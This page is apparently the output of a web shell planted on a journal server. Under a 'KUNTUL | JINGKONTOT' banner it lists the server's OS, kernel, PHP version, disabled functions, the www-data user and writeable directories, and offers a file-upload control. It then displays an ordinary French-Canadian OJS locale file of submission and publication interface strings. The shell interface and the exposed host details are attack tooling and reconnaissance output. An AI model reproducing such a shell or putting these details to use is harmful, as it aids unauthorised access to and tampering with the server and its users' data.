KUNTUL | JINGKONTOT
JINGKONTOT


Server : Apache/2.4.41 (Ubuntu)
System : Linux journalup 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/html/locale/fr_CA/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/locale/fr_CA/submission.po
msgid ""
msgstr ""
"Project-Id-Version: \n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2019-10-15T14:05:03-07:00\n"
"PO-Revision-Date: 2020-11-23 02:44+0000\n"
"Last-Translator: Marie-Hélène Vézina [UdeMontréal] <marie-"
"[email protected]>\n"
"Language-Team: French (Canada) <http://translate.pkp.sfu.ca/projects/ojs/"
"submission/fr_CA/>\n"
"Language: fr_CA\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n > 1;\n"
"X-Generator: Weblate 3.9.1\n"

# localization file for fr_CA. Last revision 2019-10-22T02:40:33 by Marie-Hélène Vézina, Bibliothèques, Université de Montréal.
msgid "submission.submit.title"
msgstr "Soumettre un article"

msgid "submission.submit.userGroup"
msgstr "Soumettre en tant que (rôle)..."

msgid "submission.submit.userGroupDescription"
msgstr "Choisir le rôle sous lequel vous soumettez votre article."

msgid "submission.upload.selectComponent"
msgstr "Sélectionner l'élément de l'article"

msgid "submission.title"
msgstr "Titre de l'article"

msgid "submission.title.tip"
msgstr "Par type de soumission, on entend « image », « texte » ou d'autres formats multimédias, y compris « logiciel » et « ressource interactive ». Veuillez choisir le type qui correspond le mieux à votre soumission. Vous trouverez des exemples au <a target=\"_blank\" href=\"http://dublincore.org/documents/2001/04/12/usageguide/generic.shtml#type\">http://dublincore.org/documents/2001/04/12/usageguide/generic.shtml#type</a>"

msgid "submission.submit.newSubmissionMultiple"
msgstr "Commencer une nouvelle soumission dans"

msgid "submission.submit.newSubmissionSingle"
msgstr "Nouvelle soumission"

msgid "grid.action.workflow"
msgstr "Processus éditorial pour la soumission"

msgid "submission.abstract.wordCount.description"
msgstr "Le résumé doit contenir {$wordCount} mots ou moins."

msgid "submission.submit.noContext"
msgstr "La revue de cette soumission est introuvable."

msgid "submission.issueEntry"
msgstr "Métadonnées"

msgid "submission.submit.whatNext.description"
msgstr "La revue a été informée de votre soumission et vous a envoyé par courriel une confirmation pour vos dossiers. Un rédacteur communiquera avec vous lorsque votre soumission aura été examinée."

msgid "grid.action.galleyInIssueEntry"
msgstr "Les épreuves se trouvent dans le dossier du numéro"

msgid "grid.action.issueEntry"
msgstr "Voir les métadonnées de la soumission"

msgid "submission.event.articleGalleyMadeAvailable"
msgstr ""
"Les épreuves de l'article en format « {$galleyFormatName} » sont disponibles."

msgid "submission.event.articleGalleyMadeUnavailable"
msgstr ""
"Les épreuves de l'article en format  « {$galleyFormatName} » ne sont pas "
"disponibles."

msgid "submission.event.publicIdentifiers"
msgstr "Identifiants publics de la soumission mis à jour."

msgid "grid.issueEntry.availableGalley.title"
msgstr "Approbation du format"

msgid "grid.issueEntry.availableGalley.removeMessage"
msgstr ""
"<p>Ces épreuves <em>ne seront plus mises à la disposition</em> des lecteurs-"
"trices.</p>"

msgid "grid.issueEntry.availableGalley.message"
msgstr ""
"<p>Ces épreuves <em>seront mises à la disposition</em> des lecteurs-"
"trices.</p>"

msgid "grid.action.availableArticleGalley"
msgstr "Rendre ces épreuves disponibles"

msgid "submission.galleyFiles"
msgstr "Fichiers des épreuves"

msgid "submission.proofReadingDescription"
msgstr ""
"Le ou la responsable de la mise en page téléverse ici les fichiers qui ont "
"été préparés pour publication. Utiliser <em>Assigner un-e vérificateur-"
"trice</em> pour identifier les auteurs-es et autres personnes qui "
"vérifieront les épreuves, à partir des fichiers corrigés téléversés, pour "
"approbation avant la publication."

msgid "grid.action.approveProof"
msgstr "Approuver cette version pour inclusion dans les épreuves."

msgid "grid.action.pageProofApproved"
msgstr "Cette version a été approuvée pour inclusion dans les épreuves."

msgid "submission.submit.titleAndSummary"
msgstr "Titre et résumé"

msgid "submission.submit.upload.description"
msgstr "Téléverser les fichier associés à cette soumission, incluant l'article, les fichiers multimédias, les ensembles de données, les oeuvres d'art, etc."

msgid "submission.pageProofs"
msgstr "Correction d'épreuve"

msgid "submission.confirmSubmit"
msgstr "Êtes-vous certain-e de vouloir soumettre cet article à la revue ?"

msgid "workflow.review.externalReview"
msgstr "Évaluation"

msgid "editor.submission.decision.sendExternalReview"
msgstr "Envoyer en évaluation"

msgid "submission.event.issueMetadataUpdated"
msgstr "Les métadonnées du numéro de la soumission ont été mises à jour."

msgid "submission.upload.fileContents"
msgstr "Élément de l'article"

msgid "submission.complete"
msgstr "Approuvé-e"

msgid "submission.incomplete"
msgstr "En attente d'approbation"

msgid "submission.submit.form.localeRequired"
msgstr "Sélectionner une langue de soumission."

msgid "submission.submit.submissionChecklist"
msgstr "Liste de vérification de la soumission"

msgid "submission.submit.submissionChecklistDescription"
msgstr "Vous devez lire et reconnaître que vous remplissez les conditions ci-dessous avant de pouvoir poursuivre."

msgid "submission.submit.privacyStatement"
msgstr "Déclaration de confidentialité"

msgid "submission.submit.contributorRole"
msgstr "Rôle du,de la contributeur-trice"

msgid "submission.submit.form.authorRequired"
msgstr "Au moins un-e auteur-e est requis-e."

msgid "submission.submit.form.authorRequiredFields"
msgstr "Les prénom, nom et adresse courriel de chaque auteur-e sont requis."

msgid "submission.submit.form.titleRequired"
msgstr "Veuillez inscrire le titre de votre article."

msgid "submission.submit.form.abstractRequired"
msgstr "Veuillez inscrire le résumé de votre article."

msgid "submission.submit.form.wordCountAlert"
msgstr "Votre résumé est trop long. Veuillez le raccourcir selon la limite indiquée pour cette rubrique."

msgid "submission.submit.form.contributorRoleRequired"
msgstr "Sélectionner le rôle du,de la contributeur-trice."

msgid "submission.citationFormat.notFound"
msgstr "Le format de citation n'a pas été repéré."

msgid "submission.metadataDescription"
msgstr "Ces spécifications sont basées sur le schéma de métadonnées du Dublin Core, une norme internationale utilisée pour décrire les contenus d'une revue."

msgid "section.any"
msgstr "Toute rubrique"

msgid "submission.sectionOptions"
msgstr "Options de rubrique"

msgid "catalog.browseTitles"
msgstr "{$numTitles} titres"

msgid "catalog.category.heading"
msgstr "Tous les titres"

msgid "galley.editPublishedDisabled"
msgstr "Les épreuves de cette publication ne peuvent pas être modifiées car elles ont déjà été publiées."

msgid "galley.publicationNotFound"
msgstr "La publication de ces épreuves est introuvable."

msgid "publication.datePublished.description"
msgstr ""
"La date de publication sera définie automatiquement lors de la publication "
"du numéro. Ne pas entrer de date de publication sauf si l'article a déjà été "
"publié ailleurs et que vous devez l'antidater."

msgid "publication.invalidSection"
msgstr "La rubrique de cette publication est introuvable."

msgid "publication.invalidIssue"
msgstr "Le numéro de cette publication est introuvable."

msgid "publication.publish.confirmation"
msgstr "Toutes les exigences de publication ont été remplies. Êtes-vous certain-e de vouloir publier ceci ?"

msgid "publication.publish.confirmation.futureIssue"
msgstr ""
"Toutes les exigences de publication ont été remplies. Ceci sera publié quand "
"le {$issue} sera publié. Êtes-vous certain-e de vouloir programmer cette "
"publication ?"

msgid "publication.publish.confirmation.backIssue"
msgstr ""
"Toutes les exigences de publication ont été remplies. Ceci sera publié "
"immédiatement dans le {$issue}. Êtes-vous certain-e de vouloir publier ceci ?"

msgid "publication.required.issue"
msgstr "La publication doit être assignée à un numéro avant de pouvoir être publiée."

msgid "publication.publishedIn"
msgstr "Publié-e dans le <a href=\"{$issueUrl}\">{$issueName}</a>."

msgid "publication.scheduledIn"
msgstr ""
"Publication programmée dans le <a href=\"{$issueUrl}\">{$issueName}</a>."

msgid "publication.issue.success"
msgstr ""
"Les renseignements relatifs au numéro de cette publication ont été mis à "
"jour."

msgid "publication.selectIssue"
msgstr "Choisir un numéro pour programmer la publication"

msgid "publication.unscheduledIn"
msgstr "Ceci n'a pas été programmé pour publication dans un numéro."

msgid "publication.scheduleInissue"
msgstr "Assigner à un numéro"

msgid "publication.publish.confirmation.datePublishedInPast"
msgstr ""
"Toutes les exigences de publication ont été remplies. Ceci sera publié "
"immédiatement car la date de publication a été fixée au {$datePublished}. "
"Êtes-vous certain-e de vouloir publier ceci ?"

msgid "submission.viewingPreview"
msgstr ""
"Ceci est un aperçu et n'a pas été publié. <a href=\"{$url}\">Afficher la "
"soumission</a>"

KUNTUL | JINGKONTOT |